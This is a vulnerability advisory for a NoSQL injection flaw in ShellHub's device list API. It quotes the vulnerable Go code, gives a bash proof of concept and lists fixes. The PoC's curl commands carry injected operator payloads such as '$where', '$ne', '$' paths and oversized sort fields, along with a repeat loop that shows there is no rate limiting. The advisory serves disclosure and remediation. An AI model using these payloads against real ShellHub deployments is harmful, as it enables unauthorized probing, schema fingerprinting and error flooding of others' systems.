CVE-2026-44425

Description

## Summary The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation: 1. The `name` field of each filter property in the base64-encoded `filter` query parameter. 2. The `sort_by` query parameter. Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied. ## Severity **CVSS 3.1: 6.5 (Medium)** CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) ## Affected versions ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`). ## Root cause ### Vector 1 — Filter field name `api/store/mongo/query-options.go:140`: ```go conditions = append(conditions, bson.M{param.Name: property}) ``` `param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be injected. ### Vector 2 — Sort-by field Similar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{"$sort": {sortBy: order}}` without validation. ### Additional observation `fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets. ```go func fromContains(value interface{}) (bson.M, error) { switch value.(type) { case string: return bson.M{"$regex": value, "$options": "i"}, nil ``` ## Proof of concept (validated live against v0.24.1) ```bash TOKEN=<valid-user-jwt> # Helper: base64-encode a filter payload encode_filter() { python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1" } # --- Vector 1: filter field injection --- # Baseline: legitimate filter -> 200 F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=200 # Exploit 1a: Mongo operator as field name F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # Exploit 1b: nested object as value F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # Exploit 1c: pipeline-computed field as filter name F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # --- Vector 2: sort-by injection --- # Baseline: legitimate sort -> 200 curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \ -H "Authorization: Bearer $TOKEN" # HTTP=200 # Exploit 2a: Mongo operator as sort field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # Exploit 2b: path containing $ curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # Exploit 2c: oversized sort field (no length validation) curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # Exploit 2d: non-indexable internal field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # --- Repeat to demonstrate no rate limiting --- for i in $(seq 1 20); do curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" done # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 ``` **Confirmed field values that trigger 500:** - Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.` - Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings **Observed response characteristics:** ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 X-Request-Id: <id> ← logged as error in backend ``` Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests. ## Impact - **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting. - **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema. - **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments). - **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs. ## Suggested fix 1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400. 2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that: - start with `$` - contain `$` after a `.` - contain characters outside `[A-Za-z0-9_.]` - exceed a reasonable length (e.g., 64 characters) 3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects). 4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500. 5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.